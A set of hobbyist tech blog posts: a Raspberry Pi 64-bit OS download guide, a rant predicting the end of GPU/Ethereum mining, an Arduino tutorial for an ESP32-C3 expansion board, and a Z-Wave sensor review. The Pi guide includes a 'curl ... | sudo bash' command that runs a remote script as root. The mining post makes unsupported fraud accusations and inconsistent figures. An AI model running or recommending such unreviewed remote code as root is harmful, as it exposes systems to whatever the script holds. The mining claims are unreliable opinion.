the latest one just having came out April 9th 2021. It can be a little tricky to find and I’ve been asked in the comments here before on the site where to find it so I figured it was time to write a quick guide! Table of Contents Toggle Hardware UsedPi OS 64-bit Image LocationPi OS 64-bit Image FileWriting 64-bit Image to StorageBenchmarking / Testing StorageOther Resources Hardware Used Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Pi OS 64-bit Image Location All the beta 64 bit Raspbian images released can be seen at this URL: https://downloads.raspberrypi.org/raspios_arm64/images/ You’ll see a directory listing like this: Pi 64bit OS Images – Directory Click on the folder for the latest image available (4-9-2021 at time of writing). Pi OS 64-bit Image File The contents of the image folder we selected in the previous step will look like this: Pi 64bit OS Images – Subdirectory The only file most of you will be interested in is the zip file. That contains the entire 64 bit image compressed to a size of about 1 gigabyte. Click the zip file to download it! Once the download has completed extract the zip file which contains a .img file. In Linux we can extract the file sometimes by just right clicking in the GUI or from the command line using the command: unzip 2021-05-07-raspios-buster-arm64.zip If it says you don’t have the unzip utility you can install it with sudo apt-get install unzip. Extraction will take a few moments/minutes on the Pi and then you will end up with the raw .img file in the directory you ran the unzip command. This is the file we will write to our storage! Writing 64-bit Image to Storage The recommended way to write the 64 bit image to your storage device is using the Raspberry Pi Imager tool. This works with both SD cards and USB attached storage devices like SSDs/HDDs. Using this tool for the first step (Operating System) we scroll to the very bottom to select “Use custom”: Raspberry Pi Imager – Use Custom Once you select this option a prompt will open. From here you can select the .img file we extracted earlier and write the image! Benchmarking / Testing Storage Once you’ve booted up you can verify your drive’s performance using my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on pibenchmarks.com you can compare your score with others and make sure the drive is performing correctly! Other Resources To find out how to add a UPS backup battery to your Pi check out my UPS for Raspberry Pi guide If you’re trying to set up SSD / USB storage booting check out my Raspberry Pi USB booting setup guide To find out where to get the 64 bit version of Raspberry Pi OS view Where to get the 64 bit Raspberry Pi OS image For benchmarks and recommendations on the fastest storage drives/adapters for the Raspberry Pi check out my 2021 Storage Roundup If you’re having firmware issues and need to update/restore your firmware: Raspberry Pi firmware guide here For my new overclocking and SSD setup guide for the Pi 400 check out my Pi 400 Overclocking and SSD setup guide #### Why GPU / Ethereum Mining Is Toast – Stop Buying GPUs One way I keep up with the developments in cryptocurrency is I do watch some of the YouTubers since the YouTubers are generally following the juiciest developments to farm views. With the continued news that Ethereum is going to launch Eth 2.0 and is more or less on time (now called the “Ethereum consensus layer”, how catchy) how much denial there is around this fact. Except we are way past that point now. It’s literally these YouTuber’s job to know that GPU mining is toast and today I’m going to expose how big of frauds they are, how they really built their mining farms, what they are actually doing vs. what they’re telling you and why, as well as explain what exactly is going on with Ethereum and why if you’re planning on being able to mine with those GPUs (at least above the cost of your electricity / profitably) the math is not looking good. Why am I doing this? Because I’ve been mining since before Ethereum existed and will still be mining after Ethereum mining no longer exists so it’s pretty clear to me what is happening here. Let’s break down what both the miners AND the Ethereum developers/community don’t seem to want to remember so we can actually understand what is happening (and when) and break it down! Table of Contents Toggle Ethereum Mining EndingThe Beacon ChainThe MergerThe 51% Attack Threat FiascoThe Current SituationSponsored MinersWhy Sponsored Miners Recommend GPUs STILLCould you succeed at GPU mining with dozens of free GPUs during a silicon shortage?Don’t Be FooledWhy GPU mining can’t absorb Ethereum’s hash rateBut what about those other coins?Conclusion Ethereum Mining Ending Let’s start with the elephant in the room. Is Ethereum mining ending? Yes, not only is it ending, they have been trying to end it almost since Ethereum started. Within 2-3 of years it had already been decided this was going to happen. Look at this EIP (Ethereum Improvement Proposal) from all the way back in December 2016 where it was already a foregone conclusion it was going to proof of stake: Official Ethereum EIP #186 – GitHub. That was several difficulty bombs ago. The block reward was 5 ETH per block back then! The Beacon Chain Now you might say “okay, so they’ve wanted to end it forever and it hasn’t happened, so why shouldn’t we assume that it will never happen or take 5 more years”? Excellent question! It’s because now Ethereum 2.0 / Ethereum consensus layer already exists. It’s not theoretical anymore. There’s no question it will work. It is working / has been working for a while. It’s called the “Beacon Chain”. It’s a separate network from Ethereum 1.0 but it already exists today. You can already run a validator node and you can even send Ethereum to the chain and stake it for pathetic rewards vs. mining it gives with even mediocre hardware. Seeing is believing. If you want to see the Ethereum 2.0 chain working we can use the block explorer from beaconcha.in like this: Ethereum Beacon Chain It was launched all the way back on December 1st, 2020. This was when the Ethereum bubble was starting and after I’d bought the last GPUs I’d ever buy for mining (5x RX5700 XTs for $400/ea in early November before the price went 1k+) and started buying ASICs and have been ever since.                          The Merger So what’s left? All that is left is for them to merge Ethereum 1.0 with the Beacon chain. That is it. It’s already working. They aren’t still making it. Right now they are planning. They want to make sure the transition goes as smooth as possible. If things went really badly it would impact the value of Ethereum and create potentially countless really serious problems / headaches for people. They could move it today if they wanted. They really could. Think that’s a stretch? How could you possibly know that James? The 51% Attack Threat Fiasco Despite all of the denial back when the miners first heard about this they threatened a 51% attack. This is where miners group together to achieve greater than 50% hashpower on the coin. This allows them to start screwing with blocks as they have enough miners to make this possible. Why? Because they are morons basically. The gas fees were hugely cut for miners and most of it is burned now. It was called EIP-1559. It wasn’t all of us (it was a lot of the sponsored miners we’ll be talking about later though). In fact I was warning it would kill mining. And guess what? I was probably right. Look at me vs. reddit here: Reddit EtherMining Subreddit “Show of Force” Discussion My argument was that the “Show of Force” 51% mining attack was lame and counterproductive. Want to guess how that went? They got absolutely trounced so bad that they don’t even speak of it anymore. Vitalik Buterin presented a plan to IMMEDIATELY move Ethereum 1.0 to the Beacon chain if the miners performed a 51% attack. Were they actually ready then? Probably not, there would have been a lot of problems. They have had a year to prepare since then and they already thought they could mostly do it. That’s how you know. If you weren’t around when this happened you may have never even heard of this. That is because it went as badly as we told them it would if not worse, and guess what? It actually does look like it’s going to mostly kill mining, and it’s *definitely* going to kill GPU mining. Even just the threat of it. It doesn’t matter that they didn’t actually perform a 51% attack. They forced the Ethereum team into a difficult position using what they must see as weaknesses/mistakes in the past. All of the major new competitors in this last bull run were Eth-killers that already were using proof of stake and had way, way lower fees which are atrocious on Ethereum to this day. The fees are literally the worst of any cryptocurrency in the world and maybe even more expensive fees than any financial product that has ever been created on Earth. Already being proof-of-stake meant they were immune to this threat the miners were making which was making them look even more like punks against their fiercest competitors that legitimately want them dead (Eth killers). This was going to trigger their wrath. They don’t want to talk about it because it literally advanced the timetable. They cut off their own foot. This would not be happening as soon as it is going to if this didn’t happen and create a legitimate threat that spooked Ethereum holders/investors forcing Vitalik to respond. If we had just had a little bit more time NVIDIA was heavily making more efficient GPUs for mining that used much less power. Things didn’t have to be this way. The miners honestly forced a lot of this by being such greedy short-sighted idiots as most of them are (which is why they usually go bankrupt when the bubble is over). This last Ethereum mining bubble was so large that most of them got away jumping in late and buying GPUs at 5x prices. In 2017 they all went bankrupt and we went in to a 3 year bear market. They’ll just get left behind on ASICs and frankly they already have if they haven’t started building their ASIC farm already. The Current Situation Okay, now that we’ve covered the history that neither the miners or Ethereum developers want to talk about we have enough background to explain what is actually going on here with mining. Let’s divide the miners into two groups: #1 – Old miners – Likely believe in decentralization and are most idealist about crypto, probably have mined other things than Ethereum before, have survived multiple bubbles, will tell you honestly if they think something is good/bad to mine as they’re experienced enough to know more people/attention to a coin actually does benefit them financially directly. Probably less than 10% of miners qualify in this climate.#2 – Almost everyone else – Started mining in the middle of the Ethereum bubble and buying GPUs — were successful because of the magnitude of the Ethereum bubble but would not normally have been — not likely to care about decentralization or possibly even know what it is in some cases — some of them will survive and join the “old miners” club if they can survive a bubble or two bursting and not be gone — not necessarily evil but are naive/inexperienced and super prone to greed or they wouldn’t have jumped in during the middle of a bubble at 5x prices But wait, there’s a third category I wanted to talk to you about today. #3 Sponsored miners – People who received most or all of their GPUs for free during the Ethereum bubble by starting a YouTube channel to review GPUs for mining. Have never survived a bubble. Probably haven’t been mining for more than a few years at most. Did not build their farm the way they teach you. Their purpose is (was, we’ll get into it) to sell you GPUs one at a time and tell you to build their farm that way even though they didn’t and never will. This is what they’re still doing because they aren’t actually successful miners and that is all they know how to do. They’re sponsored grifters. Sponsored Miners I’m not sure that most people realize this. All those YouTube cryptocurrency stars? Those are not successful or even real miners. They did not buy most of those GPUs, and they definitely didn’t build their farms the way they are telling you to. That’s all sponsored gear. You definitely don’t want their advice on how to actually build a profitable farm if you, for instance, actually have to buy your gear with your own money because they didn’t. They have no idea. What happened was when the bubble started the GPU sales went absolutely off the charts. GPU launches were the biggest thing ever. Now people largely ignore them because the availability is so poor it doesn’t mean anything unless you’re an insider. As a result of this GPU vendors started raising their prices and really wanted to cash in on this phenomena. NVIDIA started making GPUs that were more power efficient just for mining. That’s how much these companies wanted a piece. They also started sponsoring YouTubers. Just like YouTubers that review GPUs for gaming there started to be YouTubers who covered crypto mining that started to be sent free GPUs for the exact same reason. To sell more GPUs through influencers. That is where this class of “miner” was born. You know who I’m talking about. The people with giant towers of GPUs behind them with all the RGB lit up basically screaming “look at how badass of a miner I am”. That’s your grifters right there. Guess where they got those? Most of them came from NVIDIA, EVGA, Gigabyte, every GPU vendor you can imagine. What happened was all of these YouTubers realized that since the companies were trying to cash in on this phenomena there was an opportunity. It wasn’t mining though, not really, and definitely not the way they are preaching to their audience pretending they are building these farms 1 GPU at a time with their hard earned money like they’re telling their audiences. They smelled a grift and they started up their channel. Take it from another content creator but one with very different audiences / motivations. Why Sponsored Miners Recommend GPUs STILL There’s a few reasons. The first one I touched on already which is that that has always been their job. They got a bunch of free sponsored GPUs to build a poser farm with and look like they’re some kind of badass on YouTube. That’s all they are. They didn’t build that farm actually buying them like a real miner has to. How it worked is they would get a 3070 from NVIDIA, then a 3070 from ASUS, then a 3070 from Gigabyte, and so on. Then the 3060 came out and they would do it again! Because of that they don’t actually know anything. Some of them might legitimately not know / understand that GPU mining is ending and that these other coins couldn’t even absorb a small fraction of Ethereum’s hashrate and remain profitable. The closer we get though the lower the chances are that is the case, and they’re getting quite low which is why I’m writing this now. Too low. The explanation is really simple. The “Eth Mining isn’t ending / GPU mining isn’t ending” denial group is very passionate about what they are saying. They need a constant drip of reinforcement to maintain this illusion. Wait until you see the numbers, and then you will understand why. They’re absolutely soul-crushing. What do YouTubers specialize in? Making content and ultimately driving clicks about things that piss people off. It’s usually controversial topics. Topics where people will subscribe and come back so you can drip-feed them the same nonsense are the most lucrative of all. That is the “grift”. People do it in almost every topic/category and this one is even better because it also has free merchandise you get to keep from the vendors. Could you succeed at GPU mining with dozens of free GPUs during a silicon shortage? That’s why these guys are *NOT* successful miners. Are you kidding me? Can you imagine being handed literally dozens of NVIDIA 3000 series GPU during the biggest Ethereum bubble in history AND a silicon shortage? How could you lose? That is literally a gift of hundreds of thousands of dollars between the ETH mined and the GPUs themselves. Do you think that person has something to teach you about mining? Why? They don’t even know as much as you do. If you had to buy your equipment you are a better and more successful miner than they are. They aren’t miners. They’re sponsored performers with literally free gear, DOZENS of GPUs. They’re circus performers generating clicks from the build in their background and the brand names on them which was an investment by the manufacturer into that YouTuber at YOUR expense (you are the target to go buy the GPU and make the manufacturer money). In fact, it’s even worse than that. They know they are lying to you AND you are buying them their ASIC miners with the money. Why? Because ASIC miners are *much* more difficult to get for free. You’re going to get at best one of the smaller models from each manufacturer or if you’re really lucky you might get something like a KD5/KD6 on occasion is as good as it could possibly get. You’re not going to get dozens of them. They need money. A lot of money, and there’s not much time. They’re also *way* more expensive than GPUs. Too expensive for these guys even if they haven’t managed their money very wisely. They aren’t getting crazy money from the Ethereum anymore, nobody really is that isn’t using ASICs because they’re way more efficient and powerful. They probably paid way too much for those ASICs too because of the Eth bubble but the smart ones are doing fine. That means they need you to buy them. The one free vendor ASIC is not even going to impress an average YouTube user. Buying 5-6 more of them is going to be a problem both because of availability and price. The GPU grift is all dried up. They’ll never receive another free GPU again. That time has passed and the manufacturers weren’t sending them to the mining YouTubers because they like them. Don’t Be Fooled Now let’s put it all together. We’ve covered the actual state and progress of the Ethereum chain merge that will eliminate Ethereum mining. We’ve covered the motivations of the people you are most likely to get crypto information from. Now let’s put it all together. The GPU mining content in the year 2022 is so YOU can pay for their ASICs which the vendors will never send them enough of to even pose with on YouTube. Why? Because if they don’t get some ASICs fast they are not going to have a YouTube channel in 6 months. That is no joke. They have a limited amount of time left to milk those GPUs before most of you still watching that trash will finally wake up and realize GPU mining is toast. They probably haven’t been managing their funds wisely and thought the grift could continue but they know it now. Mark my words, it is that very moment when those of you remaining accept that Ethereum mining is ending when… SURPRISE! All of the sudden that YouTuber who has been doing knowingly dishonest GPU mining content pretending they are building these farms 1 GPU at a time like they’re telling the viewer? They have a ton of ASIC content now paid for with your profits from needing to consume a constant drip of soothing saying it’s okay we will mine other coins blah blah blah. No. You won’t. The numbers do not support that conclusion. Bobcat 300 Helium Miner* Why GPU mining can’t absorb Ethereum’s hash rate Name a GPU mineable coin. You said Ravencoin didn’t you. Everyone always says Ravencoin when I ask that question! It’s basically the same as it has been for the past few years. I’m going to show you, but brace yourselves. WhatToMine – Daily Earnings Calculator Let’s start with Ethereum Classic. GPU miners hoping to utilize this coin have a problem. It uses Ethash, the same as Ethereum, and there are ASICs for that. Those ASICs can’t mine anything else. They *HAVE* to mine Ethereum Classic or another Ethash coin of which there are some but they’re even tinier than the ones we’ll be comparing here. What does that mean? It means since they have to mine Ethereum Classic and can’t mine the other coins the GPUs can you can scratch that one off your list. The ASICs are way more efficient than your GPUs that are also going to be homeless when Ethereum mining ends. You will not be able to compete here. It unfortunately also has by far the highest market cap of any of them of 3.8 billion. Ethereum’s market cap is 331 billion. Let’s calculate that as a percentage to get a sense of how big Eth Classic is vs. Eth: (3811994785 ÷ 331332705081) * 100 = 1.15% Ok. That’s not good. Ethereum Classic, as BY FAR the biggest coin other than Ethereum that is GPU mineable, has 1.5% the market cap of Ethereum. What happens when however many % of those people try to keep GPU mining or have to mine with their Ethash ASICs have to share a pie that is 1.15% the size of what they were getting before? They starve. You don’t make electricity. There aren’t enough daily emissions to feed you all. Does it help if we do the calculations by hash rate? No, and they’re a lot harder to compare because a TH of hashpower on Ethash is not the same as on another coin/algorithm. You can do it though, and it scales pretty similarly to the market cap. The bigger factor will be whether there are ASICs on them because you can’t compete with the newer ASICs (9.5 GH/s in a single Bitmain ASIC, ONE!). But what about those other coins? We just did the biggest one and we are at 1.15% of Ethereum’s market cap. If you add them all together you won’t even break double digits. There’s nowhere to go, there’s no money in there literally. Not even if you add the entire market cap of the coins together can you find enough money for all these miners and have them make above the cost of electricity. The fact is there are no other coins. Proof of Work is unfashionable now. Elon Musk will tweet saying you’re destroying the planet. Ethereum is feeding into this as well by touting how they’re getting rid of evil energy consuming mining to go to proof of stake. This makes all the other coins left behind on Proof of Stake look bad and no new project wants to be accused of that. I just showed you the menu. Either 99% of both ASIC and GPU miners need to quit mining forever or you need to understand that you will be sharing from a pie that is 1-2% the size of Ethereum. Just Ethereum by itself. You also have ASICs that will be homeless that you will be competing with for Ethash (Eth Classic basically), which is by far your biggest choice. Conclusion If you want to keep mining then prepare. You’re going to need ASICs and / or Helium hotspots. There is no other choice as having no proof of work coins (at least that are in the spotlight) for so many years has left the landscape pretty barren. CPU mining hasn’t been profitable for years. If you think a type of mining can’t just go unprofitable and basically die then look at CPU mining, GPU mining is next. If you want to ride out into the sunset then that is what you should do. Use what you have and keep it all as profit. Buying GPUs is only lining pockets at this point and it won’t be your pockets. Even if Ethereum mining goes on for longer than the end of the year (it won’t) the big boy ASICs from Bitmain that are 9.5GH/s will keep shipping and keep stomping on your GPUs until it’s not even worth the electricity. Even at today’s numbers if you stopped mining Ethereum you’d be making about 60-70%. That is literally competing against nobody you already lose at least 30-40% of everything you make switching when nobody else even is. It’s going to be absolutely devastating. #### XAIO ESP32-C3 Expansion Board Getting Started Guide Seeed Studios XAIO Expansion Board Getting Started Guide I recently covered using the XAIO-ESP32-C3 with the Grove Expansion shield to create a sensor panel to be used within Home Assistant via ESPHome. That shield is only around $7 and doesn’t have very many bells and whistles on it. That is a really fantastic and inexpensive solution to expand your available Grove ports and add more sensors or other Grove accessories to your build. Today I want to cover Seeed Studio’s larger and more capable expansion shield. Instead of using ESPHome to program the device for us though we’re going to set up the Arduino IDE to work with the XAIO-ESP32-C3. That means we’ll be able to run our own code and test out the various capabilities of the larger expansion board. Let’s get started! Table of Contents Toggle Hardware UsedGetting Arduino IDEAdding Board ConfigurationTesting DisplayTesting BuzzerConclusionOther Resources Hardware Used Seeed Studios XAIO-ESP32-C3 The Seeed Studios XAIO-ESP32-C3 is a microcontroller board that uses the RISC-V architecture. It has Bluetooth and WiFi capabilities and includes an external antenna. Links: Amazon.com*, AliExpress*, *Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Seeed Studios XAIO Expansion Board The Seeed Studios XAIO Expansion board has a screen and several expandable connectors. It also features a battery connector. Links: Amazon.com*, AliExpress* Getting Arduino IDE First we need to get the Arduino IDE. On Linux this is usually as simple as typing: sudo apt install arduino If you are using a different operating system or your Linux distribution doesn’t have the package available the Arduino official download page is available here with downloads for all platforms. Download and install the Arduino IDE for your platform. Adding Board Configuration Now we need to add the board configuration to the Arduino IDE. To do this go to File -> Preferences. You should see an “Additional Boards Manager URLs” section like this: Arduino IDE – Boards Manager Click the icon to the right that I’ve circled in the screenshot above and add the following URL: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_dev_index.json Now press OK. Next click “Tools” then “Board” followed by “Arduino ESP32”. Now scroll all the way down the list until you find XAIO-ESP32-C3. Once you select that you are all set! Testing Display Let’s start with the screen. To use the screen we need to download an additional library from GitHub here. Go to the bottom of the page and download the latest version. It will come as a zip file. Now within the Arduino IDE choose “Sketch” from the menu and then choose “Include Library” and then “Add .ZIP library”. Select the zip file you downloaded and it should add the library to the sketch. Now paste the following code into your sketch: #include <Arduino.h> #include <U8x8lib.h> #include <Wire.h> U8X8_SSD1306_128X64_NONAME_HW_I2C u8x8(/* reset=*/ U8X8_PIN_NONE); void setup(void) { u8x8.begin(); u8x8.setFlipMode(1); // set number from 1 to 3, the screen word will rotary 180 } void loop(void) { u8x8.setFont(u8x8_font_chroma48medium8_r); u8x8.setCursor(0, 0); u8x8.print("Happy Birthday!"); } Now upload your sketch to the device by pressing the upload button and you should see “Happy Birthday!” on the screen! Note: If you get an error that you are missing the “serial” library my system needed a: pip3 install pyserial After that the sketch would compile. Testing Buzzer The board includes a buzzer that can play different tones. The Seeed Studios Wiki has a pretty basic example that plays Happy Birthday on this buzzer. It shows nothing on the screen though and leaves it completely blank. That’s pretty lame so I decided I wanted to combine the two examples and have it play Happy Birthday but also tell me what note it is playing on the screen (or if it is resting). Here is the code for the sketch: #include <U8x8lib.h> #include <U8g2lib.h> #include <MUIU8g2.h> #include <Arduino.h> #include <Wire.h> U8X8_SSD1306_128X64_NONAME_HW_I2C u8x8(/* reset=*/ U8X8_PIN_NONE); char names[] = {'C', 'D', 'E', 'F', 'G', 'A', 'B', 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'x', 'y' }; int speakerPin = A3; int length = 28; // the number of notes char notes[] = "GGAGcB GGAGdc GGxecBA yyecdc"; int beats[] = { 2, 2, 8, 8, 8, 16, 1, 2, 2, 8, 8, 8, 16, 1, 2, 2, 8, 8, 8, 8, 16, 1, 2, 2, 8, 8, 8, 16 }; int tempo = 150; void playTone(int tone, int duration) { for (long i = 0; i < duration * 1000L; i += tone * 2) { digitalWrite(speakerPin, HIGH); delayMicroseconds(tone); digitalWrite(speakerPin, LOW); delayMicroseconds(tone); } } void playNote(char note, int duration) { int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956, 834, 765, 593, 468, 346, 224, 655 , 715 }; int SPEE = 5; // play the tone corresponding to the note name for (int i = 0; i < 16; i++) { if (names[i] == note) { int newduration = duration / SPEE; playTone(tones[i], newduration); } } } void setup() { u8x8.begin(); u8x8.setFlipMode(1); // set number from 1 to 3, the screen word will rotary 180 pinMode(speakerPin, OUTPUT); } void loop() { u8x8.setFont(u8x8_font_chroma48medium8_r); u8x8.setCursor(0, 0); u8x8.print("Happy Birthday!"); for (int i = 0; i < length; i++) { if (notes[i] == ' ') { u8x8.drawString(0, 1, "Resting... "); delay(beats[i] * tempo); // rest } else { u8x8.drawString(0, 1, "Playing Note: "); u8x8.drawString(14, 10, String(names[i]).c_str()); playNote(notes[i], beats[i] * tempo); } // pause between notes delay(tempo); } } This should give you the following result: If it won’t load you can view the short here on YouTube. Conclusion The XAIO series expansion board will give you a lot more I/O options. You could similarly use this for a sensor station like I did with my Grove expansion board. It would be nice because you could display the sensor information on the display. As you can see the code is pretty easy to work with. The Arduino IDE makes it much easier to directly experiment with the different components. Definitely make sure you check out the rest of Seeed Studio’s official examples here on the wiki. There’s a lot of other cool stuff you can do which I’ll definitely be covering on the site as I play around with them more! Other Resources You may also be interested in my Grove expansion board article using Home Assistant and ESPHome Don’t miss my sensor prototyping setup guide using the K1100 sensor prototyping kit See here for all of my articles regarding RISC-V open hardware #### Zooz 700 Z-Wave Door/Window Sensors w/ Home Assistant Zooz 700 series door/window sensor – Review I’ve been upgrading all of the devices in my home to work with Home Assistant and eliminate subscriptions to proprietary services. One of the last remaining subscription services I have in my home is the Ring door and window sensors. The Ring ones have honestly been fine but the subscription is not free. Since I know these sensors will be installed in my home for 10+ years it will save me money to switch to something else that has no subscription. That is why I was excited to see that Zooz has released a new series of Z-Wave door and window sensors that are completely self-managed by either a Z-Wave hub or Home Assistant running as a Z-Wave hub. The advantage of Z-Wave and Zigbee devices is they use much less power than WiFi so it’s a much better suited technology for devices that run on battery power (such as wireless door and window sensors). In this review I’ll cover the Zooz 700 Z-Wave door and window sensors and cover the upsides and downsides of the system. Let’s get started! Table of Contents Toggle Hardware UsedOld SystemSpecificationsBuild QualityConfigurationAdding to Home AssistantInstallationPros / ConsProsConsConclusionOther Resources Hardware Used Zooz 700 Series Door/Window Sensor The Zooz 700 Z-Wave door/window sensors use a newer Z-wave chip that uses less power and has increased range. Works well with Home Assistant and existing Z-Wave hubs. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Nortek Security & Control Zigbee + Z-wave USB Dongle The Nortek Security & Control USB dongle gives a device running Home Assistant Z-Wave and Zigbee capabilities allowing it to act as both a Z-Wave and Zigbee hub! Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Old System My criteria for this upgrade is that I don’t want a worse system than I started with. This makes things a little difficult because the system I started with works pretty well and is very compact. The existing Ring system looks like this: Ring Door Sensor Here’s a closer up shot: Ring Door Sensor – Closeup On my windows it looks like this: Ring Window Sensor As you can see these are pretty small. They’re completely battery powered and wireless. This is what I’ll be comparing the Zooz sensors against. Specifications Manufacturer‎ZoozPart number‎ZSE41Included components‎Z-WaveBatteries Included?‎NoBatteries Required?‎NoBattery Cell Type‎LithiumLength‎1.9 inchesWidth‎1 inchesHeight‎0.3 inchesManufacturer‎ZoozManufacturer reference‎ZSE41Product Dimensions‎4.83 x 2.54 x 0.76 cm; 32 GramsASIN‎B09JKKLRLWZooz 700 Series Z-wave Window Sensor Specifications Build Quality Let’s start with the packaging. The sensor will come in a box like this: Zooz 700 series door/window sensor – Packaging And the bottom: Zooz 700 series door/window sensor – Packaging (Bottom) Inside everything is packed up like this: Zooz 700 Series Door/Window Sensor – Package Contents This type of packing material is really great for shipping. It gives a lot of soft protection around the device yet is firm enough to prevent the device from getting smashed if there’s too much pressure. The device should make it to you safely. You can see that they’ve included double sided sticky tape, mounting screws as well as a plastic pick to help you open the battery compartment. The battery is also included. Configuration Before installing the sensor we need to configure it. To do this we need to open the sensor. It opens like this: Zooz 700 series door/window sensor – Opening Now the important thing to know about opening this is that it’s going to open exactly the opposite of how you think it will. It seems like the part that is lifting off from this is the lid. It’s not. The lid is actually the big part. You can see what I mean here: Zooz 700 series door/window sensor – Completely Open The two little white clips at the bottom are the only thing holding it in place. I did not need the provided pick to open this device. All you need to do is provide a little pressure and then try to lift and it will come off the two retaining clips. Now once we remove the “Pull” tab we can add the device to the Z-Wave network. Adding to Home Assistant Within Home Assistant go to Settings -> Devices and Integrations and then click “Add Integration” in the bottom right hand of the screen. You should see this: Home Assistant – Add Z-Wave Device Now select “Add Z-Wave Device”. If you haven’t already now pull the tab on the Zooz to activate the battery. Now press the small button next to the battery three times quickly. This will put the device in pairing mode. The light on the device should start blinking. You should get a message shortly after that the device has been found and added to Home Assistant! You will be asked for a PIN which is on the inside of the lid. Once added the entity will look like this: Home Assistant – New Zooz 700 Window Sensor Entities I now recommend clicking the pencil in the top right of the screen to edit the device and assigning it a name to let you know which sensor it is and assign it to a location. Installation Installation is easy. Put the device back together and grab the double-sided sticky tape. Place it in position like this: Zooz 700 Series Door / Window Sensors – Installed And look at that! The Zooz sensor is ever so slightly smaller than the Ring sensor. This allowed me to get a much better mounting position for the magnet. Note that you need to line up the grey lines like I have. This is so the magnetic sensors are aligned with the magnet. That’s pretty much all there is to it! Pros / Cons Pros New 700 series chip gives better range and longer battery life Doesn’t require a subscription or cloud services Works well with Home Assistant 5 year warranty Cons More expensive than subscription-based services Conclusion That’s pretty much it for Ring here. I’ve now completely eliminated all of my home’s subscription services to proprietary services. I’m now self-hosting my own home’s sensors via Home Assistant and the Zooz 700 series door and window sensors. The only thing I still need to do is create a system where it creates the sounds effects when a door/window is open/shut to have the exact same functionality. I’ll be doing that on the site and covering it before too long here. I investigated DIY (do-it-yourself) options with door and window sensors using ESP modules. That’s a great solution I’ve used for many other parts of my home such as air quality sensors. It’s clear though that for door and window sensors that are extremely small and run off a coin cell battery that DIY would have required too many sacrifices/tradeoffs. I’d imagine in a couple of years this will be much cheaper to do yourself as ESP modules continue to grow in capabilities. There are ESP modules that have Zigbee included now but you’d still need a board / kit to use it and there’s not a lot available that I’ve seen that would be good candidates to replace a Zigbee/Z-Wave window sensor like this. In this current market I’d highly recommend a solution like the Zooz Z-Wave 700 series window sensors. There’s no subscription and it’s not hosted in the cloud. It integrates perfectly with Home Assistant acting as a Z-Wave hub. The unit is high quality and compact and runs off a tiny battery. I’ll be doing more Z-wave Home Assistant coverage on the site including how to set up the USB stick that will give Home Assistant Zigbee and Z-Wave capabilities. Stay tuned! Other Resources I’ve also used the Kauf RGB smart lights with my Home Assistant setup here You can also make a IoT button you can use in Home Assistant using a Adafruit QT Py All of my Home Assistant related articles are available here